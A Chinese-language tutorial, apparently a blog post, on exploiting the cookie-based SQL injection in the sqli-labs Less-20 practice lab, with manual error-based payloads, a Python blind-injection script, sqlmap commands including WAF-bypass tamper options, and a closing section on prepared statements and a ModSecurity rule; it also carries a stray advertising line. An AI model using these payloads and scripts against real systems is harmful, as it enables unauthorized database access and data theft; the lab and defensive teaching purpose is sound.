1. sqli-labs-Less-20自动化注入实战解析
Less-20是sqli-labs中基于Cookie注入的典型关卡,相比常规GET/POST注入,它要求攻击者通过修改HTTP头部信息实现漏洞利用。我在实际渗透测试中发现,许多安全工程师面对这类"非常规"注入点时容易手足无措。本文将分享如何用Python+SQLMap组合拳实现全自动化攻击,同时深入剖析底层原理。
需要模型API调用? 免费领10W Token,多模型网关一键接入 Claude、DeepSeek 等主流模型。
2. 环境准备与目标分析
2.1 实验环境搭建
推荐使用Docker快速部署靶场:
bash复制docker pull acgpiano/sqli-labs
docker run -dt --name sqli-labs -p 80:80 acgpiano/sqli-labs
访问http://localhost/Less-20/即可看到登录界面。这个关卡模拟的是通过Cookie验证用户身份的Web应用。
2.2 漏洞原理剖析
当用户成功登录后,服务端会返回包含用户名的Cookie:
code复制Set-Cookie: uname=admin
后续请求中,服务端直接信任该Cookie值进行SQL查询:
sql复制SELECT * FROM users WHERE username='$uname'
未做任何过滤导致SQL注入。这种漏洞在实际业务中常见于:
- 记住登录状态功能
- 单点登录系统
- 第三方认证集成
3. 手工注入验证流程
3.1 基础探测步骤
- 正常登录获取Cookie:
http复制POST /Less-20/login.php HTTP/1.1
[...]
uname=admin&passwd=admin&submit=Submit
- 修改Cookie触发报错:
http复制GET /Less-20/index.php HTTP/1.1
Cookie: uname=admin'
当看到报错信息You have an error in your SQL syntax,确认存在注入。
3.2 信息收集技巧
通过报错注入获取数据库信息:
code复制uname=admin' AND ExtractValue(0,CONCAT(0x5c,@@version))-- -
关键函数说明:
ExtractValue():MySQL XML函数,用于触发报错0x5c:反斜杠的16进制,强制产生XPath语法错误@@version:系统变量查询
4. Python自动化脚本开发
4.1 请求自动化实现
python复制import requests
TARGET = "http://localhost/Less-20/login.php"
SESSION = requests.Session()
def login():
data = {"uname": "admin", "passwd": "admin"}
resp = SESSION.post(TARGET, data=data)
return resp.headers.get('Set-Cookie')
def exploit(payload):
headers = {'Cookie': f"uname={payload}"}
return SESSION.get(TARGET.replace('login','index'), headers=headers).text
4.2 盲注自动化检测
python复制import string
def blind_injection():
charset = string.digits + string.ascii_letters
result = ""
for i in range(1,20):
for char in charset:
payload = f"admin' AND SUBSTRING((SELECT database()),{i},1)='{char}'-- -"
if "Welcome" in exploit(payload):
result += char
break
return result
5. SQLMap高级利用技巧
5.1 Cookie注入专用参数
bash复制sqlmap -u "http://localhost/Less-20/index.php" \
--cookie="uname=admin*" \
--level=3 --risk=3
关键参数说明:
*:标记注入位置--level:检测强度(1-5)--risk:风险等级(1-3)
5.2 绕过WAF配置
bash复制sqlmap [...] --tamper=space2comment --delay=1
常用tamper脚本:
space2comment:空格转/**/between:用BETWEEN替换比较符randomcase:随机大小写
6. 防御方案与实战建议
6.1 安全编码规范
php复制// 正确做法
$uname = mysqli_real_escape_string($conn, $_COOKIE['uname']);
$sql = "SELECT * FROM users WHERE username='$uname'";
// 更佳方案
$stmt = $conn->prepare("SELECT * FROM users WHERE username=?");
$stmt->bind_param("s", $_COOKIE['uname']);
6.2 运维防护措施
- 部署ModSecurity规则:
apache复制SecRule REQUEST_COOKIES|!REQUEST_COOKIES:/__utm/ "([\~\!\@\#\$\%\^\&\*\(\)\-\+\=\{\}\[\]\|\:\;\"\'\´\’\‘\`\<\>].*?){4}" "id:1001,deny"
- 定期审计Cookie使用情况
7. 企业级漏洞挖掘经验
在真实渗透测试中,我发现Cookie注入常出现在以下场景:
- 使用JSON Web Token时未验证签名
- 自定义加密算法存在缺陷
- 缓存机制导致敏感信息残留
一个典型的攻击链示例:
code复制Cookie注入 → 获取管理员会话 → 后台RCE → 内网横向移动
建议在测试时重点关注:
remember_me功能- OAuth回调参数
- 第三方统计代码植入的Cookie
